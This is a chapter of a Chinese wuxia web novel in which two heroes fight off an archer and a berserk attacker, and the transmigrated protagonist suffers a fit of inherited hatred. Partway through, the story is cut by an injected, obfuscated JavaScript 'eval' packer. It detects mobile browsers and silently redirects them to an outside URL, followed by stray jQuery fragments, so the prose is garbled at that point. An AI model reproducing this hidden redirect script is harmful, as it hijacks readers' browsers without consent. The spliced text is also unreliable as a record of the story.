9. 激战2

作品:《漫画配角的不平凡日常

    苏望舒额头渗着细汗,她没有分神关注出来的两人,冷冷的目光聚焦在右前方的空中。


    一共一百六十三箭,你也该出错了吧。


    她的左手虚虚地圈了一下。


    但凡有那把弓在手,哪里还用这么麻烦。她的眼中浮现一丝不甘,又瞬间被她压回了心底,全神贯注地等待着下一次袭击。


    “嗖!”


    又是一箭飞来,风声凌冽。


    苏望舒的嘴角却勾了起来。


    这箭,终于是射偏了。


    苏望舒右掌前伸,无限贴近箭身,锋利的羽箭似是被一股诡异的力量所牵引,速度渐缓,逐渐贴合她的手掌,绕周身做了一个大回环。


    她接着迅速从地上抄起一根树枝,内力一圈圈缠绕其上,压弯树枝,头尾相连,形成了一根浅蓝色的弓弦


    木枝作弓,内力作弦,借来的箭杆贴上弓身时发出极轻的“嗒”声。苏望舒展身拉弓,至弓如满月,一双眼睛鹰一般盯向黑暗中的一点——那是箭射来的方向。


    这时,身侧却传来了异样的声响,她分出一缕余光。


    是那边的石生攻了过来。


    不躲,可能会受不轻的伤;躲过了,那个弓箭手会逃。


    两难啊。


    苏望舒轻叹一声,手上动作却没停下,果断地做出了抉择。


    她的身体纹丝不动,姿势依旧完美,专注的视线穿过箭镞望向远处。


    既然来了,那就都别走了。


    “铮”


    箭尾的白羽在黑夜中转瞬即逝,以肉眼难以察觉的速度飞出,响声清利,远处的弓箭手应声捂着胸口倒下。


    苏望舒没有回头,箭出时,结果就已经定下了。


    射完箭她便立即交叉双臂,无形的内力泛着波纹,隐隐形成一块盾牌,防备着着接下来的重击,也等待着反击的机会。


    另一边,石生被刚刚那一击扰乱了心神,被洛三秋并不算流畅的剑招打得连连败退,身上多了不少处伤痕。


    每次想向前,却都被死死拦住,几步的距离此刻却像是一道天堑。


    就差一点!明明这次任务成功了就能...


    绝不能败在这里!


    石生的眼中闪过一抹疯狂,口中默念了一段口诀。


    瞬间,他整个人青筋暴起,肌肉鼓胀,浑身速度突然提升了数倍,仗着护甲冲过了洛三秋道道剑光组成的剑网,像一头发狂的黑熊一样不管不顾,任由身上伤口纵横。


    怎么还有二阶段。


    洛三秋有点抓狂,心中不妙之感横生,他立马飞身拦截。


    石生直接一掌向身后拍出,洛三秋往空中一跃,凌空躲过了这一下。


    石生却迅速再出一掌,没什么威力,但带出的劲风让空中的洛三秋身形一滞。


    这一慢就差了数步。


    石生已然欺至苏望舒身侧,作势要再出一掌。


    洛三秋焦急前冲。


    来不及。


    洛三秋攥着剑柄,手指在按压下发白。


    没想到石生还有后手,即便是现在冲过去,那气劲也已经成型,想阻止这一击,除非...散去石生的内功。


    内功消散只有两种方法:一种是自行逆运功法,散去一身功力,第二种是...死亡。


    可怕的念头一出现,便如同附骨之蛆般一直萦绕在脑中,洛三秋脸色苍白,却无论如何都想不出第二个办法。


    他盯着前面的背影。


    要杀了他吗?


    “叮!”


    像是察觉到了他的念头,手环上的吊坠轻轻一颤。


    顿时,他浑身内力翻涌,眼睛失去了焦距,思绪也迟滞起来,像是陷入了黏稠的漩涡。


    眼前的背影渐渐被挤压扭曲,模糊成了一道从未见过的身影。


    不高不矮,身材算不上健壮,应当还是个少年。


    身边仿佛响起了一个苍老的男声,缓缓说道:“世间剑道十万,唯你手中之剑,得天杀意独钟,世间无人及得上你半分。”


    谁啊?说得这么中二。


    洛三秋迷糊中还在吐槽着,这具身体却自行对这个声音做出了反应。


    漆黑的眼睛恢复了沉静,又渐渐化为漠然,深潭一般。


    手中的银月发出了不安的嗡鸣,修长的手指轻转剑柄。


    “哒。”


    银月顿时安静下来,泛起淡淡的银光。


    内力以前所未有的方式高效运转着,没有蹬地,没有蓄力,洛三秋只是脚尖一点,便轻飘飘地站到了石生身后,快到根本看不清轨迹。


    从未有过的轻快,周边的场景仿佛成了一幅凝滞的画卷,只有他是一缕轻灵的风,自由地穿梭着,环绕着。


    石生又一次瞧见了银色流光。


    他刚刚冷静下来后,咂摸出了些味来。这招不能用眼睛看,而是要用耳朵去听,用身体去感受。这招式并不是什么神鬼莫测的手段,只是刚刚的他自己乱了阵脚,才叫洛三秋得了手。


    这一次,不会再让你得逞了。


    石生没有停下动作,趁着五感提升的当下,一只手也能挡住洛三秋的攻击,顶多多一道伤而已。


    他自信地闭上了眼睛,感受风声就行...


    风声呢!?


    他惊惶地睁开了眼睛,没有,什么都没有!所有的感知里,都没有这个人!风声,脚步声乃至呼吸声,通通没有!就像是从世界上消失了一样。


    能感受到的,只有漫天的银轨。


    石生心中惶惶,全然顾不上攻击,只是急忙运起气劲向四周胡乱地推出,希望籍此显出敌人的身影。


    洛三秋只是轻轻一跃,便以毫厘之差躲过了气旋,像一片羽毛般落在了石生的手臂上。


    这距离近极了,他甚至能看清石生眼中腾升的怒意与恐惧。


    待石生察觉到这一点微末的重量时,他早已利落地落了地,甚至还有余暇整理被风带乱的袖口,从纷飞的落叶中拈出一片,悬在了石生面前。


    他嘴角弯起了个没有温度的弧度,指间一松。


    叶片缓缓下落。


    抓到你了!


    石生眼中密布着红血丝,像孤注一掷的赌徒一样咧开了大嘴,正要志得意满的出拳。


    一线流动的月光温柔地划过了他的咽喉。


    怎么了...


    他的思绪渐缓,明明想挥拳,却移动不了身体。


    他迷茫地看着地面越来越近,许久,终于恍然。


    原来...结束了啊。


    结束了。


    洛三秋从抽离的状态中猛然回了神,心有余悸地喘息着。


    就差一点,如果不是最后他恢复清醒收了手,偏了一分,这剑就要到底了。


    他心有余悸地看了眼手环,依稀记得就是这个手环上的吊坠响了一声,然后他就失控了。


    会是原主吗?也不像,虽然不清醒,但操纵身体的人确实是自己。与其说是被上身了,倒不如说是被身体本能带着走了。


    不过那状况也不能说全是坏事,那种内力的运转,轻功的运用,仿佛天地皆在一念间的畅快感,让他对未来武功的锻炼有了点方向。


    不得不说这好功夫确实有魅力,怪不得武侠书里走火入魔的人那么多。就算是他这么闲散的人,都有些沉迷了。


    现在清醒过来,都感觉哪哪儿都不得劲,像是被禁锢住了。而且还有种诡异的感觉一直缠绕在脸侧,怪不舒服的,他下意识地抬手摸了摸湿漉的脸。


    指肚上染了红。


    衣服上,地上,到处都是鲜红的颜色。


    明明以前没晕过血,洛三秋却莫名觉得呼吸艰难起来。


    不是,还来?这反应还能有延后性啊?


    洛三秋都来不及苦笑,脑袋就“嗡”的一声,他痛苦地弯下了腰,双手抱住了头


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17107695|195820||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    周遭的世界在褪色、失声,天地间仿佛只剩下了红色。


    好像有人在低声地说着些什么,但他听不大清,也想不动,他的颅骨里仿佛有柄烧红的凿子在搅动,尖锐的疼痛由内而外地刺穿了他的身体。


    痛得狠了,洛三秋半跪下来,一手扶着地面,指甲深深陷入泥土中,持续地颤抖着。


    但一股不知从何而来的情绪却强撑他的骨架。


    ——那是恨意。


    可他恨谁?


    迷茫的恨意带来了空虚的暴戾,四处攻击发泄着,像是火焰一样在心底里席卷开来,源源不断地带来了力量,但也成了他痛苦的根源。


    要想正式继承这个身体的话,就要承载这所有的恨意与疯狂吗?


    已经痛到了极致,但洛三秋却仿佛贴近了那个破碎的灵魂,莫名地产生了一种近似于悲悯的情绪。


    虽然不能保证,但如果可以的话,我会为你复仇。


    他做出了只他一人听见的承诺。


    ...


    现实中,洛三秋脸色苍白,平日里的干净温柔像镜面一样被打破了。一头黑发凌乱地垂下。鲜红的痕迹留在脸上,红得惊人,从无神的眼睛处一道道向下,仿佛是绝望中流下的血泪。


    明明是痛苦的神情,单看下半张脸却又让人觉着他是在笑,鲜红的嘴唇克制地上扬,温柔地包容着世间。


    一边,没等来重击的苏望舒,有些迷茫地抬了头。见到洛三秋痛苦的样子,急忙上前托起他的脸,从神庭穴向后轻轻推按。


    她焦急地喊道:“洛三秋!洛三秋!回神!”


    洛三秋的眼珠轻微地动了动,脑中的情绪如潮水般褪去,仿佛从来没出现过。


    他像是刚从水里被捞出一样,剧烈地咳嗽起来,惊魂未定地喘息着。整个人的脸色白得吓人,身上仍微微发着颤,散落的黑发丝缕黏连在颈侧,显出几分少见的脆弱可怜来。


    “我没事...没事。”他对着老板说道,心思却还飘在很远的地方。


    其实身体并没什么大碍,甚至可以说比之前好上不少,应当是方才高效的内力运转让伤势的愈合快了不少。


    至于精神上的问题,只能是由他这个身体的新主人自己来解决了,既然接下了这份恨意,那就得好好复仇。


    只是目前唯一的线索就是那个华服公子,这龙潭虎穴看来是无论如何都要闯一闯了。明明只是想过个平凡日子的,怎么事情越来越多了。


    洛三秋仰天长舒了一口气,苏望舒担心地看着他,扶着他到干净的一边坐下了。


    一片安静中。


    “嗖!”


    一个身影越过了围墙,翻进了围墙。


    是郑真意。


    又是郑真意。


    经历了大起大落的洛三秋无端地有些想笑。


    郑真意一来,这次事件就算是正式结束了。洛三秋彻底瘫坐在了地上,打心底里感到了一阵轻松。


    见了院中场景,郑真意惊诧了一瞬,但还是先上前关心了二人,确认无事后才放下心来。


    洛三秋问:“郑大人,您来了,那谢七情那边没事吗?”


    郑真意欣慰道:“一切妥当,当真是幸事。”


    顾及到他们的状况,郑真意只是简单问了下情况后,就帮忙清理了院内,然后提走了还剩一口气的石生与中箭昏迷的弓箭手,准备回去交差了。


    临走前,他回头道:“今日之事,有劳二位。不知明日可否赏光到挽灯阁坐坐,详述今晚的经过,也容我们阁主当面谢过。”


    洛三秋与苏望舒都欣然接受了邀约。


    得到肯定的答复后,郑真意点头致意,转身离开了。


    院中又恢复了安静,温柔的月光穿过云层,从树尖尖上淌了下来。洛三秋犹豫地张了张嘴,却没说出什么。


    苏望舒了然,低头浅笑:“你还有什么想问的,对吧?”